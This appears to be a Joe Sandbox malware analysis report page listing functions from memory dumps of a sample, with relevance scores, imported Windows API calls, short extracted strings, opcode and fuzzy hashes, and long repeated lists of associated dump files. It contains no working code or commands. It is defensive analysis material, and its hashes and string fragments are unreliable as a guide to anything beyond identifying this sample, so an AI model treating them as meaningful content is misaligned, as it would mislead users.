Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 4a78520caa1c06c54d89defb7cbef3a3b3edc27a3bdb7a5e7c88f0758c9425e1
Instruction ID: b36a797e57c16dacd246936c1b74c010e6dccfb68cb5384311e6157ef8720624
Opcode Fuzzy Hash: 4a78520caa1c06c54d89defb7cbef3a3b3edc27a3bdb7a5e7c88f0758c9425e1
Instruction Fuzzy Hash: 4111A4B4640208AFEB10CF64D899FAA77B5FB89710F208058FA159B3D4C7B5AA01DB50

Function 013CFA77 Relevance: 5.4, Strings: 3, Instructions: 1631COMMON

Download Yara Rule

Strings

Jg?, xrefs: 013D03E2
r`{m, xrefs: 013D025E
WfO{, xrefs: 013D069E

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Jg?$WfO{$r`{m
API String ID: 0-2953587210
Opcode ID: 0aa62acd6ed36c33ceb14e51c426fdfe1414f4dcd2b6a6b3824f865b656523b7
Instruction ID: cea7870479516e36ba4441c7d3256241b0097ce024b970843b77ee20f8eabf73
Opcode Fuzzy Hash: 0aa62acd6ed36c33ceb14e51c426fdfe1414f4dcd2b6a6b3824f865b656523b7
Instruction Fuzzy Hash: BFB2F6F360C2009FE7086E2DEC8567ABBE5EF94720F164A3DEAC5C3744EA3558058697

Function 013D30FA Relevance: 5.4, Strings: 3, Instructions: 1621COMMON

Download Yara Rule

Strings

*WW, xrefs: 013D3FFD
wV~z, xrefs: 013D346C
S&{{, xrefs: 013D4289

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: S&{{$wV~z$*WW
API String ID: 0-3068797807
Opcode ID: 96110fe491863becced741c2115007add4b384651db938084bd68615522a2234
Instruction ID: 8cd792dc640dec5ba98b039d6212d488bac1456121eaac92f69b8f7fc547dfe5
Opcode Fuzzy Hash: 96110fe491863becced741c2115007add4b384651db938084bd68615522a2234
Instruction Fuzzy Hash: 80B214F360C2049FE304AE29EC8567ABBE9EF94720F164A3DE6C5C7344E63598418797

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 01003720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0100E118,00000000,00000001,0100E108,00000000), ref: 01003758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 010037B0

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 221fdf171c6bb866fe8064e0e7082d42197e62d5b1bce932c5aec6f1141221c4
Instruction ID: d31b120520cf410393158ded4be5ed0cde9f18a8723357511918885586494ac6
Opcode Fuzzy Hash: 221fdf171c6bb866fe8064e0e7082d42197e62d5b1bce932c5aec6f1141221c4
Instruction Fuzzy Hash: 6D41F870A00A289FEB25DB58CC95BDBB7B4BB48702F4041D9E609EB2D0D7B16E85CF50

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 012F47E0 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

nSn, xrefs: 012F49E4
fnW?, xrefs: 012F495E

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: fnW?$nSn
API String ID: 0-2393681282
Opcode ID: c7999fd9c059e8cbf631304283a92805365236c76ff20958957e8393ad1ec4b4
Instruction ID: 8f80cf97ea33c3def84ffeeabea05f56a3a684339225ef65b5f8eb652c684fb6
Opcode Fuzzy Hash: c7999fd9c059e8cbf631304283a92805365236c76ff20958957e8393ad1ec4b4
Instruction Fuzzy Hash: E55159F3A083089BE3046F1EDC8577AFBE5EBD0710F1A853DD6C883780E97599458656

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 01360625 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

R/|, xrefs: 0136068F

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: R/|
API String ID: 0-4224955691
Opcode ID: 82255814e01494e19fa575f82278345346728240f5e799172bd6c2036d6e97e6
Instruction ID: b8f35c068cf5718317ea563c34c1227dacb5ea1b0023a27d5486a12bfed64dcd
Opcode Fuzzy Hash: 82255814e01494e19fa575f82278345346728240f5e799172bd6c2036d6e97e6
Instruction Fuzzy Hash: 7671E9F7A082009BE3046F29DC9477AF7E6EFD4710F1A853DD6C897784EA7948468782

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 01458683 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a85a1cb661d724ddeba367367556f305f7f6fd069616634f4a8ae31a2132a76b
Instruction ID: 671775f0fabcf9da2e6f1bce1b01baf7a00524cc6dd65d5553042d241e01db28
Opcode Fuzzy Hash: a85a1cb661d724ddeba367367556f305f7f6fd069616634f4a8ae31a2132a76b
Instruction Fuzzy Hash: C38105F250C205DFE3406F2ADC8173ABBE9FBA4710F16493EEAC587745EA3158118A93

Function 012FC6AB Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
